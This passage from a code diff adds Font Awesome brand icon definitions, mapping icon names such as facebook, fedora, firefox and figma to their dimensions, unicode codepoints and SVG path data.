66.564-24.996 98.751-99.75H384z"], + "evernote": [384, 512, [], "f839", "M120.82 132.21c1.6 22.31-17.55 21.59-21.61 21.59-68.93 0-73.64-1-83.58 3.34-.56.22-.74 0-.37-.37L123.79 46.45c.38-.37.6-.22.38.37-4.35 9.99-3.35 15.09-3.35 85.39zm79 308c-14.68-37.08 13-76.93 52.52-76.62 17.49 0 22.6 23.21 7.95 31.42-6.19 3.3-24.95 1.74-25.14 19.2-.05 17.09 19.67 25 31.2 24.89A45.64 45.64 0 0 0 312 393.45v-.08c0-11.63-7.79-47.22-47.54-55.34-7.72-1.54-65-6.35-68.35-50.52-3.74 16.93-17.4 63.49-43.11 69.09-8.74 1.94-69.68 7.64-112.92-36.77 0 0-18.57-15.23-28.23-57.95-3.38-15.75-9.28-39.7-11.14-62 0-18 11.14-30.45 25.07-32.2 81 0 90 2.32 101-7.8 9.82-9.24 7.8-15.5 7.8-102.78 1-8.3 7.79-30.81 53.41-24.14 6 .86 31.91 4.18 37.48 30.64l64.26 11.15c20.43 3.71 70.94 7 80.6 57.94 22.66 121.09 8.91 238.46 7.8 238.46C362.15 485.53 267.06 480 267.06 480c-18.95-.23-54.25-9.4-67.27-39.83zm80.94-204.84c-1 1.92-2.2 6 .85 7 14.09 4.93 39.75 6.84 45.88 5.53 3.11-.25 3.05-4.43 2.48-6.65-3.53-21.85-40.83-26.5-49.24-5.92z"], + "expeditedssl": [496, 512, [], "f23e", "M248 43.4C130.6 43.4 35.4 138.6 35.4 256S130.6 468.6 248 468.6 460.6 373.4 460.6 256 365.4 43.4 248 43.4zm-97.4 132.9c0-53.7 43.7-97.4 97.4-97.4s97.4 43.7 97.4 97.4v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6c0-82.1-124-82.1-124 0v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6zM389.7 380c0 9.7-8 17.7-17.7 17.7H124c-9.7 0-17.7-8-17.7-17.7V238.3c0-9.7 8-17.7 17.7-17.7h248c9.7 0 17.7 8 17.7 17.7V380zm-248-137.3v132.9c0 2.5-1.9 4.4-4.4 4.4h-8.9c-2.5 0-4.4-1.9-4.4-4.4V242.7c0-2.5 1.9-4.4 4.4-4.4h8.9c2.5 0 4.4 1.9 4.4 4.4zm141.7 48.7c0 13-7.2 24.4-17.7 30.4v31.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-31.6c-10.5-6.1-17.7-17.4-17.7-30.4 0-19.7 15.8-35.4 35.4-35.4s35.5 15.8 35.5 35.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 478.3C121 486.3 17.7 383 17.7 256S121 25.7 248 25.7 478.3 129 478.3 256 375 486.3 248 486.3z"], + "facebook": [512, 512, [], "f09a", "M504 256C504 119 393 8 256 8S8 119 8 256c0 123.78 90.69 226.38 209.25 245V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.28c-30.8 0-40.41 19.12-40.41 38.73V256h68.78l-11 71.69h-57.78V501C413.31 482.38 504 379.78 504 256z"], + "facebook-f": [320, 512, [], "f39e", "M279.14 288l14.22-92.66h-88.91v-60.13c0-25.35 12.42-50.06 52.24-50.06h40.42V6.26S260.43 0 225.36 0c-73.22 0-121.08 44.38-121.08 124.72v70.62H22.89V288h81.39v224h100.17V288z"], + "facebook-messenger": [512, 512, [], "f39f", "M256.55 8C116.52 8 8 110.34 8 248.57c0 72.3 29.71 134.78 78.07 177.94 8.35 7.51 6.63 11.86 8.05 58.23A19.92 19.92 0 0 0 122 502.31c52.91-23.3 53.59-25.14 62.56-22.7C337.85 521.8 504 423.7 504 248.57 504 110.34 396.59 8 256.55 8zm149.24 185.13l-73 115.57a37.37 37.37 0 0 1-53.91 9.93l-58.08-43.47a15 15 0 0 0-18 0l-78.37 59.44c-10.46 7.93-24.16-4.6-17.11-15.67l73-115.57a37.36 37.36 0 0 1 53.91-9.93l58.06 43.46a15 15 0 0 0 18 0l78.41-59.38c10.44-7.98 24.14 4.54 17.09 15.62z"], + "facebook-square": [448, 512, [], "f082", "M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h137.25V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.27c-30.81 0-40.42 19.12-40.42 38.73V256h68.78l-11 71.69h-57.78V480H400a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48z"], + "fantasy-flight-games": [512, 512, [], "f6dc", "M256 32.86L32.86 256 256 479.14 479.14 256 256 32.86zM88.34 255.83c1.96-2 11.92-12.3 96.49-97.48 41.45-41.75 86.19-43.77 119.77-18.69 24.63 18.4 62.06 58.9 62.15 59 .68.74 1.07 2.86.58 3.38-11.27 11.84-22.68 23.54-33.5 34.69-34.21-32.31-40.52-38.24-48.51-43.95-17.77-12.69-41.4-10.13-56.98 5.1-2.17 2.13-1.79 3.43.12 5.35 2.94 2.95 28.1 28.33 35.09 35.78-11.95 11.6-23.66 22.97-35.69 34.66-12.02-12.54-24.48-25.53-36.54-38.11-21.39 21.09-41.69 41.11-61.85 60.99a42569.01 42569.01 0 0 1-41.13-40.72zm234.82 101.6c-35.49 35.43-78.09 38.14-106.99 20.47-22.08-13.5-39.38-32.08-72.93-66.84 12.05-12.37 23.79-24.42 35.37-36.31 33.02 31.91 37.06 36.01 44.68 42.09 18.48 14.74 42.52 13.67 59.32-1.8 3.68-3.39 3.69-3.64.14-7.24-10.59-10.73-21.19-21.44-31.77-32.18-1.32-1.34-3.03-2.48-.8-4.69 10.79-10.71 21.48-21.52 32.21-32.29.26-.26.65-.38 1.91-1.07 12.37 12.87 24.92 25.92 37.25 38.75 21.01-20.73 41.24-40.68 61.25-60.42 13.68 13.4 27.13 26.58 40.86 40.03-20.17 20.86-81.68 82.71-100.5 101.5zM256 0L0 256l256 256 256-256L256 0zM16 256L256 16l240 240-240 240L16 256z"], + "fedex": [640, 512, [], "f797", "M586 284.5l53.3-59.9h-62.4l-21.7 24.8-22.5-24.8H414v-16h56.1v-48.1H318.9V236h-.5c-9.6-11-21.5-14.8-35.4-14.8-28.4 0-49.8 19.4-57.3 44.9-18-59.4-97.4-57.6-121.9-14v-24.2H49v-26.2h60v-41.1H0V345h49v-77.5h48.9c-1.5 5.7-2.3 11.8-2.3 18.2 0 73.1 102.6 91.4 130.2 23.7h-42c-14.7 20.9-45.8 8.9-45.8-14.6h85.5c3.7 30.5 27.4 56.9 60.1 56.9 14.1 0 27-6.9 34.9-18.6h.5V345h212.2l22.1-25 22.3 25H640l-54-60.5zm-446.7-16.6c6.1-26.3 41.7-25.6 46.5 0h-46.5zm153.4 48.9c-34.6 0-34-62.8 0-62.8 32.6 0 34.5 62.8 0 62.8zm167.8 19.1h-94.4V169.4h95v30.2H405v33.9h55.5v28.1h-56.1v44.7h56.1v29.6zm-45.9-39.8v-24.4h56.1v-44l50.7 57-50.7 57v-45.6h-56.1zm138.6 10.3l-26.1 29.5H489l45.6-51.2-45.6-51.2h39.7l26.6 29.3 25.6-29.3h38.5l-45.4 51 46 51.4h-40.5l-26.3-29.5z"], + "fedora": [448, 512, [], "f798", "M225 32C101.3 31.7.8 131.7.4 255.4L0 425.7a53.6 53.6 0 0 0 53.6 53.9l170.2.4c123.7.3 224.3-99.7 224.6-223.4S348.7 32.3 225 32zm169.8 157.2L333 126.6c2.3-4.7 3.8-9.2 3.8-14.3v-1.6l55.2 56.1a101 101 0 0 1 2.8 22.4zM331 94.3a106.06 106.06 0 0 1 58.5 63.8l-54.3-54.6a26.48 26.48 0 0 0-4.2-9.2zM118.1 247.2a49.66 49.66 0 0 0-7.7 11.4l-8.5-8.5a85.78 85.78 0 0 1 16.2-2.9zM97 251.4l11.8 11.9-.9 8a34.74 34.74 0 0 0 2.4 12.5l-27-27.2a80.6 80.6 0 0 1 13.7-5.2zm-18.2 7.4l38.2 38.4a53.17 53.17 0 0 0-14.1 4.7L67.6 266a107 107 0 0 1 11.2-7.2zm-15.2 9.8l35.3 35.5a67.25 67.25 0 0 0-10.5 8.5L53.5 278a64.33 64.33 0 0 1 10.1-9.4zm-13.3 12.3l34.9 35a56.84 56.84 0 0 0-7.7 11.4l-35.8-35.9c2.8-3.8 5.7-7.2 8.6-10.5zm-11 14.3l36.4 36.6a48.29 48.29 0 0 0-3.6 15.2l-39.5-39.8a99.81 99.81 0 0 1 6.7-12zm-8.8 16.3l41.3 41.8a63.47 63.47 0 0 0 6.7 26.2L25.8 326c1.4-4.9 2.9-9.6 4.7-14.5zm-7.9 43l61.9 62.2a31.24 31.24 0 0 0-3.6 14.3v1.1l-55.4-55.7a88.27 88.27 0 0 1-2.9-21.9zm5.3 30.7l54.3 54.6a28.44 28.44 0 0 0 4.2 9.2 106.32 106.32 0 0 1-58.5-63.8zm-5.3-37a80.69 80.69 0 0 1 2.1-17l72.2 72.5a37.59 37.59 0 0 0-9.9 8.7zm253.3-51.8l-42.6-.1-.1 56c-.2 69.3-64.4 115.8-125.7 102.9-5.7 0-19.9-8.7-19.9-24.2a24.89 24.89 0 0 1 24.5-24.6c6.3 0 6.3 1.6 15.7 1.6a55.91 55.91 0 0 0 56.1-55.9l.1-47c0-4.5-4.5-9-8.9-9l-33.6-.1c-32.6-.1-32.5-49.4.1-49.3l42.6.1.1-56a105.18 105.18 0 0 1 105.6-105 86.35 86.35 0 0 1 20.2 2.3c11.2 1.8 19.9 11.9 19.9 24 0 15.5-14.9 27.8-30.3 23.9-27.4-5.9-65.9 14.4-66 54.9l-.1 47a8.94 8.94 0 0 0 8.9 9l33.6.1c32.5.2 32.4 49.5-.2 49.4zm23.5-.3a35.58 35.58 0 0 0 7.6-11.4l8.5 8.5a102 102 0 0 1-16.1 2.9zm21-4.2L308.6 280l.9-8.1a34.74 34.74 0 0 0-2.4-12.5l27 27.2a74.89 74.89 0 0 1-13.7 5.3zm18-7.4l-38-38.4c4.9-1.1 9.6-2.4 13.7-4.7l36.2 35.9c-3.8 2.5-7.9 5-11.9 7.2zm15.5-9.8l-35.3-35.5a61.06 61.06 0 0 0 10.5-8.5l34.9 35a124.56 124.56 0 0 1-10.1 9zm13.2-12.3l-34.9-35a63.18 63.18 0 0 0 7.7-11.4l35.8 35.9a130.28 130.28 0 0 1-8.6 10.5zm11-14.3l-36.4-36.6a48.29 48.29 0 0 0 3.6-15.2l39.5 39.8a87.72 87.72 0 0 1-6.7 12zm13.5-30.9a140.63 140.63 0 0 1-4.7 14.3L345.6 190a58.19 58.19 0 0 0-7.1-26.2zm1-5.6l-71.9-72.1a32 32 0 0 0 9.9-9.2l64.3 64.7a90.93 90.93 0 0 1-2.3 16.6z"], + "figma": [384, 512, [], "f799", "M14 95.7924C14 42.8877 56.8878 0 109.793 0H274.161C327.066 0 369.954 42.8877 369.954 95.7924C369.954 129.292 352.758 158.776 326.711 175.897C352.758 193.019 369.954 222.502 369.954 256.002C369.954 308.907 327.066 351.795 274.161 351.795H272.081C247.279 351.795 224.678 342.369 207.666 326.904V415.167C207.666 468.777 163.657 512 110.309 512C57.5361 512 14 469.243 14 416.207C14 382.709 31.1945 353.227 57.2392 336.105C31.1945 318.983 14 289.5 14 256.002C14 222.502 31.196 193.019 57.2425 175.897C31.196 158.776 14 129.292 14 95.7924ZM176.288 191.587H109.793C74.2172 191.587 45.3778 220.427 45.3778 256.002C45.3778 291.44 73.9948 320.194 109.381 320.416C109.518 320.415 109.655 320.415 109.793 320.415H176.288V191.587ZM207.666 256.002C207.666 291.577 236.505 320.417 272.081 320.417H274.161C309.737 320.417 338.576 291.577 338.576 256.002C338.576 220.427 309.737 191.587 274.161 191.587H272.081C236.505 191.587 207.666 220.427 207.666 256.002ZM109.793 351.795C109.655 351.795 109.518 351.794 109.381 351.794C73.9948 352.015 45.3778 380.769 45.3778 416.207C45.3778 451.652 74.6025 480.622 110.309 480.622C146.591 480.622 176.288 451.186 176.288 415.167V351.795H109.793ZM109.793 31.3778C74.2172 31.3778 45.3778 60.2173 45.3778 95.7924C45.3778 131.368 74.2172 160.207 109.793 160.207H176.288V31.3778H109.793ZM207.666 160.207H274.161C309.737 160.207 338.576 131.368 338.576 95.7924C338.576 60.2173 309.737 31.3778 274.161 31.3778H207.666V160.207Z"], + "firefox": [512, 512, [], "f269", "M503.52,241.48c-.12-1.56-.24-3.12-.24-4.68v-.12l-.36-4.68v-.12a245.86,245.86,0,0,0-7.32-41.15c0-.12,0-.12-.12-.24l-1.08-4c-.12-.24-.12-.48-.24-.6-.36-1.2-.72-2.52-1.08-3.72-.12-.24-.12-.6-.24-.84-.36-1.2-.72-2.4-1.08-3.48-.12-.36-.24-.6-.36-1-.36-1.2-.72-2.28-1.2-3.48l-.36-1.08c-.36-1.08-.84-2.28-1.2-3.36a8.27,8.27,0,0,0-.36-1c-.48-1.08-.84-2.28-1.32-3.36-.12-.24-.24-.6-.36-.84-.48-1.2-1-2.28-1.44-3.48,0-.12-.12-.24-.12-.36-1.56-3.84-3.24-7.68-5-11.4l-.36-.72c-.48-1-.84-1.8-1.32-2.64-.24-.48-.48-1.08-.72-1.56-.36-.84-.84-1.56-1.2-2.4-.36-.6-.6-1.2-1-1.8s-.84-1.44-1.2-2.28c-.36-.6-.72-1.32-1.08-1.92s-.84-1.44-1.2-2.16a18.07,18.07,0,0,0-1.2-2c-.36-.72-.84-1.32-1.2-2s-.84-1.32-1.2-2-.84-1.32-1.2-1.92-.84-1.44-1.32-2.16a15.63,15.63,0,0,0-1.2-1.8L463.2,119a15.63,15.63,0,0,0-1.2-1.8c-.48-.72-1.08-1.56-1.56-2.28-.36-.48-.72-1.08-1.08-1.56l-1.8-2.52c-.36-.48-.6-.84-1-1.32-1-1.32-1.8-2.52-2.76-3.72a248.76,248.76,0,0,0-23.51-26.64A186.82,186.82,0,0,0,412,62.46c-4-3.48-8.16-6.72-12.48-9.84a162.49,162.49,0,0,0-24.6-15.12c-2.4-1.32-4.8-2.52-7.2-3.72a254,254,0,0,0-55.43-19.56c-1.92-.36-3.84-.84-5.64-1.2h-.12c-1-.12-1.8-.36-2.76-.48a236.35,236.35,0,0,0-38-4H255.14a234.62,234.62,0,0,0-45.48,5c-33.59,7.08-63.23,21.24-82.91,39-1.08,1-1.92,1.68-2.4,2.16l-.48.48H124l-.12.12.12-.12a.12.12,0,0,0,.12-.12l-.12.12a.42.42,0,0,1,.24-.12c14.64-8.76,34.92-16,49.44-19.56l5.88-1.44c.36-.12.84-.12,1.2-.24,1.68-.36,3.36-.72,5.16-1.08.24,0,.6-.12.84-.12C250.94,20.94,319.34,40.14,367,85.61a171.49,171.49,0,0,1,26.88,32.76c30.36,49.2,27.48,111.11,3.84,147.59-34.44,53-111.35,71.27-159,24.84a84.19,84.19,0,0,1-25.56-59,74.05,74.05,0,0,1,6.24-31c1.68-3.84,13.08-25.67,18.24-24.59-13.08-2.76-37.55,2.64-54.71,28.19-15.36,22.92-14.52,58.2-5,83.28a132.85,132.85,0,0,1-12.12-39.24c-12.24-82.55,43.31-153,94.31-170.51-27.48-24-96.47-22.31-147.71,15.36-29.88,22-51.23,53.16-62.51,90.36,1.68-20.88,9.6-52.08,25.8-83.88-17.16,8.88-39,37-49.8,62.88-15.6,37.43-21,82.19-16.08,124.79.36,3.24.72,6.36,1.08,9.6,19.92,117.11,122,206.38,244.78,206.38C392.77,503.42,504,392.19,504,255,503.88,250.48,503.76,245.92,503.52,241.48Z"], + "firefox-browser": [512, 512, [], "e007", "M189.37,152.86Zm-58.74-29.37C130.79,123.5,130.71,123.5,130.63,123.49Zm351.42,45.35c-10.61-25.5-32.08-53-48.94-61.73,13.72,26.89,21.67,53.88,24.7,74,0,0,0,.14.05.41-27.58-68.75-74.35-96.47-112.55-156.83-1.93-3.05-3.86-6.11-5.74-9.33-1-1.65-1.86-3.34-2.69-5.05A44.88,44.88,0,0,1,333.24.69a.63.63,0,0,0-.55-.66.9.9,0,0,0-.46,0l-.12.07-.18.1.1-.14c-54.23,31.77-76.72,87.38-82.5,122.78a130,130,0,0,0-48.33,12.33,6.25,6.25,0,0,0-3.09,7.75,6.13,6.13,0,0,0,7.79,3.79l.52-.21a117.84,117.84,0,0,1,42.11-11l1.42-.1c2-.12,4-.2,6-.22A122.61,122.61,0,0,1,291,140c.67.2,1.32.42,2,.63,1.89.57,3.76,1.2,5.62,1.87,1.36.5,2.71,1,4.05,1.58,1.09.44,2.18.88,3.25,1.35q2.52,1.13,5,2.35c.75.37,1.5.74,2.25,1.13q2.4,1.26,4.74,2.63,1.51.87,3,1.8a124.89,124.89,0,0,1,42.66,44.13c-13-9.15-36.35-18.19-58.82-14.28,87.74,43.86,64.18,194.9-57.39,189.2a108.43,108.43,0,0,1-31.74-6.12c-2.42-.91-4.8-1.89-7.16-2.93-1.38-.63-2.76-1.27-4.12-2C174.5,346,149.9,316.92,146.83,281.59c0,0,11.25-41.95,80.62-41.95,7.5,0,28.93-20.92,29.33-27-.09-2-42.54-18.87-59.09-35.18-8.85-8.71-13.05-12.91-16.77-16.06a69.58,69.58,0,0,0-6.31-4.77A113.05,113.05,0,0,1,173.92,97c-25.06,11.41-44.55,29.45-58.71,45.37h-.12c-9.67-12.25-9-52.65-8.43-61.08-.12-.53-7.22,3.68-8.15,4.31a178.54,178.54,0,0,0-23.84,20.43A214,214,0,0,0,51.9,133.36l0,0a.08.08,0,0,1,0,0,205.84,205.84,0,0,0-32.73,73.9c-.06.27-2.33,10.21-4,22.48q-.42,2.87-.78,5.74c-.57,3.69-1,7.71-1.44,14,0,.24,0,.48-.05.72-.18,2.71-.34,5.41-.49,8.12,0,.41,0,.82,0,1.24,0,134.7,109.21,243.89,243.92,243.89,120.64,0,220.82-87.58,240.43-202.62.41-3.12.74-6.26,1.11-9.41,4.85-41.83-.54-85.79-15.82-122.55Z"], + "first-order": [448, 512, [], "f2b0", "M12.9 229.2c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4h-.2zM224 96.6c-7.1 0-14.6.6-21.4 1.7l3.7 67.4-22-64c-14.3 3.7-27.7 9.4-40 16.6l29.4 61.4-45.1-50.9c-11.4 8.9-21.7 19.1-30.6 30.9l50.6 45.4-61.1-29.7c-7.1 12.3-12.9 25.7-16.6 40l64.3 22.6-68-4c-.9 7.1-1.4 14.6-1.4 22s.6 14.6 1.4 21.7l67.7-4-64 22.6c3.7 14.3 9.4 27.7 16.6 40.3l61.1-29.7L97.7 352c8.9 11.7 19.1 22.3 30.9 30.9l44.9-50.9-29.5 61.4c12.3 7.4 25.7 13.1 40 16.9l22.3-64.6-4 68c7.1 1.1 14.6 1.7 21.7 1.7 7.4 0 14.6-.6 21.7-1.7l-4-68.6 22.6 65.1c14.3-4 27.7-9.4 40-16.9L274.9 332l44.9 50.9c11.7-8.9 22-19.1 30.6-30.9l-50.6-45.1 61.1 29.4c7.1-12.3 12.9-25.7 16.6-40.3l-64-22.3 67.4 4c1.1-7.1 1.4-14.3 1.4-21.7s-.3-14.9-1.4-22l-67.7 4 64-22.3c-3.7-14.3-9.1-28-16.6-40.3l-60.9 29.7 50.6-45.4c-8.9-11.7-19.1-22-30.6-30.9l-45.1 50.9 29.4-61.1c-12.3-7.4-25.7-13.1-40-16.9L241.7 166l4-67.7c-7.1-1.2-14.3-1.7-21.7-1.7zM443.4 128v256L224 512 4.6 384V128L224 0l219.4 128zm-17.1 10.3L224 20.9 21.7 138.3v235.1L224 491.1l202.3-117.7V138.3zM224 37.1l187.7 109.4v218.9L224 474.9 36.3 365.4V146.6L224 37.1zm0 50.9c-92.3 0-166.9 75.1-166.9 168 0 92.6 74.6 167.7 166.9 167.7 92 0 166.9-75.1 166.9-167.7 0-92.9-74.9-168-166.9-168z"], + "first-order-alt": [496, 512, [], "f50a", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 488.21C115.34 496.21 7.79 388.66 7.79 256S115.34 15.79 248 15.79 488.21 123.34 488.21 256 380.66 496.21 248 496.21zm0-459.92C126.66 36.29 28.29 134.66 28.29 256S126.66 475.71 248 475.71 467.71 377.34 467.71 256 369.34 36.29 248 36.29zm0 431.22c-116.81 0-211.51-94.69-211.51-211.51S131.19 44.49 248 44.49 459.51 139.19 459.51 256 364.81 467.51 248 467.51zm186.23-162.98a191.613 191.613 0 0 1-20.13 48.69l-74.13-35.88 61.48 54.82a193.515 193.515 0 0 1-37.2 37.29l-54.8-61.57 35.88 74.27a190.944 190.944 0 0 1-48.63 20.23l-27.29-78.47 4.79 82.93c-8.61 1.18-17.4 1.8-26.33 1.8s-17.72-.62-26.33-1.8l4.76-82.46-27.15 78.03a191.365 191.365 0 0 1-48.65-20.2l35.93-74.34-54.87 61.64a193.85 193.85 0 0 1-37.22-37.28l61.59-54.9-74.26 35.93a191.638 191.638 0 0 1-20.14-48.69l77.84-27.11-82.23 4.76c-1.16-8.57-1.78-17.32-1.78-26.21 0-9 .63-17.84 1.82-26.51l82.38 4.77-77.94-27.16a191.726 191.726 0 0 1 20.23-48.67l74.22 35.92-61.52-54.86a193.85 193.85 0 0 1 37.28-37.22l54.76 61.53-35.83-74.17a191.49 191.49 0 0 1 48.65-20.13l26.87 77.25-4.71-81.61c8.61-1.18 17.39-1.8 26.32-1.8s17.71.62 26.32 1.8l-4.74 82.16 27.05-77.76c17.27 4.5 33.6 11.35 48.63 20.17l-35.82 74.12 54.72-61.47a193.13 193.13 0 0 1 37.24 37.23l-61.45 54.77 74.12-35.86a191.515 191.515 0 0 1 20.2 48.65l-77.81 27.1 82.24-4.75c1.19 8.66 1.82 17.5 1.82 26.49 0 8.88-.61 17.63-1.78 26.19l-82.12-4.75 77.72 27.09z"], + "firstdraft": [384, 512, [], "f3a1", "M384 192h-64v128H192v128H0v-25.6h166.4v-128h128v-128H384V192zm-25.6 38.4v128h-128v128H64V512h192V384h128V230.4h-25.6zm25.6 192h-89.6V512H320v-64h64v-25.6zM0 0v384h128V256h128V128h128V0H0z"], + "flickr": [448, 512, [], "f16e", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM144.5 319c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5zm159 0c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5z"], + "flipboard": [448, 512, [], "f44d", "M0 32v448h448V32H0zm358.4 179.2h-89.6v89.6h-89.6v89.6H89.6V121.6h268.8v89.6z"], + "fly": [384, 512, [], "f417", "M197.8 427.8c12.9 11.7 33.7 33.3 33.2 50.7 0 .8-.1 1.6-.1 2.5-1.8 19.8-18.8 31.1-39.1 31-25-.1-39.9-16.8-38.7-35.8 1-16.2 20.5-36.7 32.4-47.6 2.3-2.1 2.7-2.7 5.6-3.6 3.4 0 3.9.3 6.7 2.8zM331.9 67.3c-16.3-25.7-38.6-40.6-63.3-52.1C243.1 4.5 214-.2 192 0c-44.1 0-71.2 13.2-81.1 17.3C57.3 45.2 26.5 87.2 28 158.6c7.1 82.2 97 176 155.8 233.8 1.7 1.6 4.5 4.5 6.2 5.1l3.3.1c2.1-.7 1.8-.5 3.5-2.1 52.3-49.2 140.7-145.8 155.9-215.7 7-39.2 3.1-72.5-20.8-112.5zM186.8 351.9c-28-51.1-65.2-130.7-69.3-189-3.4-47.5 11.4-131.2 69.3-136.7v325.7zM328.7 180c-16.4 56.8-77.3 128-118.9 170.3C237.6 298.4 275 217 277 158.4c1.6-45.9-9.8-105.8-48-131.4 88.8 18.3 115.5 98.1 99.7 153z"], + "font-awesome": [448, 512, [], "f2b4", "M400 32H48A48 48 0 0 0 0 80V432a48 48 0 0 0 48 48H400a48 48 0 0 0 48-48V80A48 48 0 0 0 400 32ZM336 312c-31.6 11.2-41.2 16-59.8 16-31.4 0-43.2-16-74.6-16a80 80 0 0 0-25.6 4V284a85.9 85.9 0 0 1 25.6-4c31.2 0 43.2 16 74.6 16 10.2 0 17.8-1.4 27.8-4.6v-96c-10 3.2-17.6 4.6-27.8 4.6-31.4 0-43.2-16-74.6-16-25.4 0-37.4 10.4-57.6 14.4V352a16 16 0 0 1-32 0V160a16 16 0 0 1 32 0v6.4c20.2-4 32.2-14.4 57.6-14.4 31.2 0 43.2 16 74.6 16 18.6 0 28.2-4.8 59.8-16Z"], + "font-awesome-alt": [448, 512, [], "f35c", "M400 32H48A48 48 0 0 0 0 80V432a48 48 0 0 0 48 48H400a48 48 0 0 0 48-48V80A48 48 0 0 0 400 32Zm16 400a16 16 0 0 1-16 16H48a16 16 0 0 1-16-16V80A16 16 0 0 1 48 64H400a16 16 0 0 1 16 16ZM201.6 152c-25.4 0-37.4 10.4-57.6 14.4V160a16 16 0 0 0-32 0V352a16 16 0 0 0 32 0V198.4c20.2-4 32.2-14.4 57.6-14.4 31.4 0 43.2 16 74.6 16 10.2 0 17.8-1.4 27.8-4.6v96c-10 3.2-17.6 4.6-27.8 4.6-31.4 0-43.4-16-74.6-16a85.9 85.9 0 0 0-25.6 4v32a80 80 0 0 1 25.6-4c31.4 0 43.2 16 74.6 16 18.6 0 28.2-4.8 59.8-16V152c-31.6 11.2-41.2 16-59.8 16C244.8 168 232.8 152 201.6 152Z"], + "font-awesome-flag": [448, 512, [], "f425", "M448 48V384c-63 23-82 32-119 32-63 0-87-32-150-32-20 0-36 4-51 8V328c15-4 31-8 51-8 63 0 87 32 150 32 20 0 35-3 55-9V135c-20 6-35 9-55 9-63 0-87-32-150-32-51 0-75 21-115 29V448a31.6 31.6 0 0 1-32 32A31.6 31.6 0 0 1 0 448V64A31.6 31.6 0 0 1 32 32 31.6 31.6 0 0 1 64 64V77c40-8 64-29 115-29 63 0 87 32 150 32C366 80 385 71 448 48Z"], + "font-awesome-logo-full": [3992, 512, ["Font Awesome"], "f4e6", "M1209.7 156.5c-57.8 0-102 43.9-102 99.1 0 56 44.6 99.1 102 99.1 57.4 0 102-43.1 102-99.1C1311.7 200.4 1267.5 156.5 1209.7 156.5Zm0 152.7c-35.1 0-51.8-27.4-51.8-53.2 0-25.8 16.7-53.2 51.8-53.2 35.1 0 51.8 27.8 51.8 53.2C1261.1 281.8 1244.8 309.2 1209.7 309.2Zm962.1-136.1c-4.4-10.9-12.3-16.5-23.5-16.5s-19.1 5.6-23.5 16.5l-59.4 145.8c-7.2 17.7 2.8 27.4 4.4 29a24.6 24.6 0 0 0 17.5 6.8c10.8 0 18.7-6 23.1-18.1l4-10.1h67.7l4 10.1c4.8 12.1 12.3 18.1 23.1 18.1a24.6 24.6 0 0 0 17.5-6.8c10-10.1 6.8-22.6 4.4-29Zm-43 113.6 19.1-56 19.1 56Zm-574.5-130.1c-14.3 0-24.7 10.9-24.7 25.4v76.5l-68.5-85.8c-4.4-5.6-11.6-16.1-25.5-16.1-19.1 0-24.3 17.7-24.3 25.4V329.7c0 14.1 10.4 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V252.8l68.9 86.2c4.8 5.6 11.6 16.1 25.5 16.1 19.1 0 23.9-17.3 23.9-25.4V181.9C1579 167.4 1568.6 156.5 1554.3 156.5Zm-554.1 1.6H916.5c-19.9 0-25.1 17.3-25.1 25.4V328.1c0 19.7 16.7 25.4 24.7 25.4 8 0 24.7-5.2 24.7-25.4V285h44.6c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.5-22.1-22.7-22.1H940.8V203.6h59.4c12.8 0 22.7-9.3 22.7-22.6C1022.9 163 1007.3 158.1 1000.2 158.1Zm815.1 0H1691.7c-7.2 0-22.7 4.4-22.7 22.2 0 13.3 10 22.6 22.7 22.6h37V327.7c0 14.1 10.4 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V202.8h37c12.7 0 22.7-9.3 22.7-22.6C1837.9 163 1822.4 158.1 1815.2 158.1Zm1789.5-1.6c-9.6 0-17.5 6-25.1 18.1l-46.6 76.1L3486.4 174.6q-10.8-18.1-25.1-18.1c-19.5 0-24.7 18.1-24.7 25.8V329.7c0 14.1 10.4 25.4 24.7 25.4s24.7-10.9 24.7-25.4V262.8L3510.7 302.7c6.4 10.1 13.9 15.3 22.3 15.3 8.8 0 15.9-5.2 22.3-15.3l24.7-39.9v66.9c0 14.1 10.3 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V182.3C3629.4 174.2 3624.6 156.5 3604.7 156.5Zm248.6 149.8h-65.7V272.9h39.4c11.9 0 21.1-8.9 21.1-20.9 0-12.1-9.2-20.9-21.1-20.9h-39.4V204.8h62.1c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.6-22.2-22.7-22.2h-86.4c-19.9 0-25.1 17.3-25.1 25.4V326.5c0 8.1 5.2 25.4 25.1 25.4h90c12.8 0 22.7-9.3 22.7-22.6C3876 311.2 3860.5 306.3 3853.3 306.3ZM3235 156.5c-57.8 0-102 43.9-102 99.1 0 56 44.6 99.1 102 99.1 57.4 0 102-43.1 102-99.1C3337 200.4 3292.8 156.5 3235 156.5Zm0 152.7c-35.1 0-51.8-27.4-51.8-53.2 0-25.8 16.7-53.2 51.8-53.2 35.1 0 51.8 27.8 51.8 53.2C3286.8 281.8 3270.1 309.2 3235 309.2ZM2550.2 156.5c-11.2 0-19.1 5.6-23.1 16.5l-34.3 94.7-31.5-92.2c-4.4-12.5-12.3-18.9-24.3-18.9-11.9 0-19.9 6.4-24.3 18.9l-31.5 